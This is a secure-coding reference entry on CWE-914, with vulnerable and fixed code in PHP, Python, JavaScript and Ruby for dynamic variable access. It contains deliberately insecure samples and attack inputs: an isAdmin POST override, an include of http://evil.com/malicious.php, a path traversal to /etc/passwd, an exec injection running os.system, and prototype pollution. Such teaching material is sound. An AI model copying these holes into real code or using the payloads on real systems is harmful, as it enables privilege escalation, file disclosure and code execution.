Improper Control of Dynamically-Identified Variables
Description
Improper Control of Dynamically-Identified Variables occurs when software fails to properly restrict reading from or writing to variables that are specified by input strings. Many programming languages provide mechanisms to access variables dynamically by name at runtime (variable variables, extract(), import_from_string, etc.). When attackers can control the variable names being accessed, they can read or modify unintended variables, including security-critical ones like authentication flags, configuration settings, or access control parameters.
Risk
This vulnerability allows attackers to manipulate program state in unexpected ways. Attackers can overwrite security-related variables to bypass authentication or authorization checks. They may access sensitive variables to leak confidential information. In some cases, modifying variables can lead to code execution if function pointers or class names are affected. The attack is particularly dangerous because it affects variables the developer assumed were internal and protected from external manipulation. Common attack scenarios include bypassing access controls, modifying configuration values, and path traversal through variable manipulation.
Solution
Avoid using dynamic variable access mechanisms with untrusted input. If dynamic variable access is necessary, use an explicit allowlist of permitted variable names. Use dedicated data structures (arrays, maps, objects) instead of individual variables for user-controlled data. When using functions like extract(), specify the EXTR_SKIP flag to prevent overwriting existing variables, or better yet, avoid extract() entirely. Validate and sanitize all variable names against strict patterns. Consider architectural changes that eliminate the need for dynamic variable access.
Common Consequences
| Impact | Details |
|---|---|
| Integrity | Scope: Integrity Modify Application Data - Attackers can overwrite variables to change application state or behavior. |
| Integrity | Scope: Integrity Execute Unauthorized Code or Commands - In some contexts, modified variables may lead to code execution. |
| Confidentiality | Scope: Confidentiality Read Application Data - Attackers may access sensitive variable values through dynamic access. |
| Access Control | Scope: Access Control Bypass Protection Mechanism - Security flags and access control variables can be overwritten. |
Example Code
Vulnerable Code
// Vulnerable: extract() overwrites local variables
<?php
function vulnerable_login($username, $password) {
$isAdmin = false; // Important security flag
// Vulnerable: extract() creates variables from POST data
extract($_POST);
// Check credentials
$user = authenticate($username, $password);
if ($isAdmin) { // Attacker can set isAdmin=true in POST!
grantAdminAccess($user);
}
return $user;
}
// Attack: POST data with isAdmin=true bypasses authentication
// POST: username=hacker&password=wrong&isAdmin=true
?>
// Vulnerable: Variable variables
<?php
$adminPassword = "secret123";
$userInput = "adminPassword"; // From user
// Vulnerable: Variable variable accesses any variable
$value = $$userInput; // Returns "secret123"
// Or for writing:
$varName = $_GET['name'];
$varValue = $_GET['value'];
$$varName = $varValue; // Can overwrite any variable!
?>
// Vulnerable: Dynamic include via variable manipulation
<?php
extract($_GET); // Creates $page variable from GET
// Attacker sets: ?page=../../../etc/passwd
// Or: ?page=http://evil.com/malicious.php
include($page . ".php"); // Path traversal or RFI
?>
# Vulnerable: Using globals() or locals() with user input
def vulnerable_set_config(key, value):
# Vulnerable: Allows setting any global variable
globals()[key] = value
# Attack:
# vulnerable_set_config("admin_mode", True)
# vulnerable_set_config("__builtins__", None) # Can break Python
# Vulnerable: exec with f-strings for variable assignment
def vulnerable_assign(var_name, value):
# Vulnerable: Creates variable with user-controlled name
exec(f"{var_name} = {repr(value)}")
# Can inject code:
# vulnerable_assign("x; import os; os.system('whoami'); y", "")
// Vulnerable: Dynamic property access
function vulnerableSetProperty(obj, key, value) {
// Vulnerable: Can modify any property
obj[key] = value;
}
// Attack:
const config = { isAdmin: false, secretKey: 'abc123' };
vulnerableSetProperty(config, 'isAdmin', true); // Bypass auth
vulnerableSetProperty(config, '__proto__', { polluted: true }); // Prototype pollution
# Vulnerable: instance_variable_set with user input
class User
attr_accessor :name, :role
def initialize(name)
@name = name
@role = 'user'
end
def update_from_params(params)
params.each do |key, value|
# Vulnerable: Sets any instance variable
instance_variable_set("@#{key}", value)
end
end
end
# Attack:
user = User.new("bob")
user.update_from_params({ "role" => "admin" }) # Privilege escalation
Fixed Code
// Fixed: Whitelist allowed variables
<?php
function fixed_login($username, $password) {
$isAdmin = false;
// Fixed: Only extract specific, allowed keys
$allowed = ['username', 'password'];
$filtered = array_intersect_key($_POST, array_flip($allowed));
// Or manually assign
$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';
$user = authenticate($username, $password);
// isAdmin can only be set through proper authorization
if ($user && $user->hasAdminRole()) {
$isAdmin = true;
grantAdminAccess($user);
}
return $user;
}
?>
// Fixed: Avoid variable variables, use arrays
<?php
// Instead of individual variables, use an array
$config = [
'adminPassword' => 'secret123',
'apiKey' => 'xyz789'
];
// Only allow access to specific keys
$allowedKeys = ['theme', 'language', 'timezone'];
function getSetting($key, $config, $allowedKeys) {
// Fixed: Whitelist check
if (!in_array($key, $allowedKeys)) {
throw new InvalidArgumentException("Unknown setting: $key");
}
return $config[$key] ?? null;
}
?>
// Fixed: Use safe include patterns
<?php
// Define allowed pages explicitly
$allowedPages = [
'home' => 'pages/home.php',
'about' => 'pages/about.php',
'contact' => 'pages/contact.php'
];
$page = $_GET['page'] ?? 'home';
// Fixed: Whitelist lookup
if (isset($allowedPages[$page])) {
include($allowedPages[$page]);
} else {
include($allowedPages['home']); // Safe default
}
?>
# Fixed: Use explicit configuration dict
class Config:
ALLOWED_KEYS = {'theme', 'language', 'timezone', 'page_size'}
def __init__(self):
self._settings = {
'theme': 'light',
'language': 'en',
'timezone': 'UTC',
'page_size': 20
}
def set(self, key, value):
# Fixed: Only allow known settings
if key not in self.ALLOWED_KEYS:
raise ValueError(f"Unknown setting: {key}")
self._settings[key] = value
def get(self, key):
if key not in self.ALLOWED_KEYS:
raise ValueError(f"Unknown setting: {key}")
return self._settings.get(key)
# Fixed: Avoid exec/eval for variable assignment
def fixed_assign(var_name, value, context):
# Define allowed variables
ALLOWED_VARS = {'user_theme', 'user_language', 'display_name'}
# Fixed: Validate against whitelist
if var_name not in ALLOWED_VARS:
raise ValueError(f"Cannot set variable: {var_name}")
# Use dictionary instead of globals()
context[var_name] = value
return context
// Fixed: Validate property names
function fixedSetProperty(obj, key, value) {
// Forbidden properties
const FORBIDDEN = ['__proto__', 'constructor', 'prototype'];
// Fixed: Prevent prototype pollution
if (FORBIDDEN.includes(key)) {
throw new Error(`Cannot set property: ${key}`);
}
// Optional: Whitelist allowed properties
const ALLOWED = ['theme', 'language', 'timezone'];
if (!ALLOWED.includes(key)) {
throw new Error(`Unknown property: ${key}`);
}
obj[key] = value;
}
// Better: Use Map for dynamic keys
const userSettings = new Map();
function setUserSetting(key, value) {
const ALLOWED = ['theme', 'language', 'timezone'];
if (!ALLOWED.includes(key)) {
throw new Error(`Unknown setting: ${key}`);
}
userSettings.set(key, value);
}
# Fixed: Whitelist allowed attributes
class User
ALLOWED_PARAMS = %w[name email avatar].freeze
attr_accessor :name, :email, :avatar, :role
def initialize(name)
@name = name
@role = 'user' # Cannot be changed via params
end
def update_from_params(params)
params.each do |key, value|
# Fixed: Only allow safe attributes
if ALLOWED_PARAMS.include?(key.to_s)
instance_variable_set("@#{key}", value)
else
Rails.logger.warn "Rejected param: #{key}"
end
end
end
end
# Better: Use strong parameters (Rails)
def user_params
params.require(:user).permit(:name, :email, :avatar)
# :role is not permitted
end
CVE Examples
- CVE-2006-7135: extract() vulnerability enabled arbitrary file inclusion.
- CVE-2006-7079: extract() used to enable path traversal attack.
- CVE-2009-0422: Dynamic variable evaluation allowed remote file inclusion.
- CVE-2007-2431: Dynamic variable evaluation used for cross-site scripting.
- CVE-2006-4019: Vulnerability allowed reading and modifying user attachments.
Related CWEs
- CWE-99: Improper Control of Resource Identifiers ('Resource Injection') (parent)
- CWE-913: Improper Control of Dynamically-Managed Code Resources (related)
- CWE-621: Variable Extraction Error (related)
- CWE-627: Dynamic Variable Evaluation (related)
References
- MITRE Corporation. "CWE-914: Improper Control of Dynamically-Identified Variables." https://cwe.mitre.org/data/definitions/914.html
- OWASP. "Mass Assignment Cheat Sheet." https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html
- PHP Documentation. "Variable variables." https://www.php.net/manual/en/language.variables.variable.php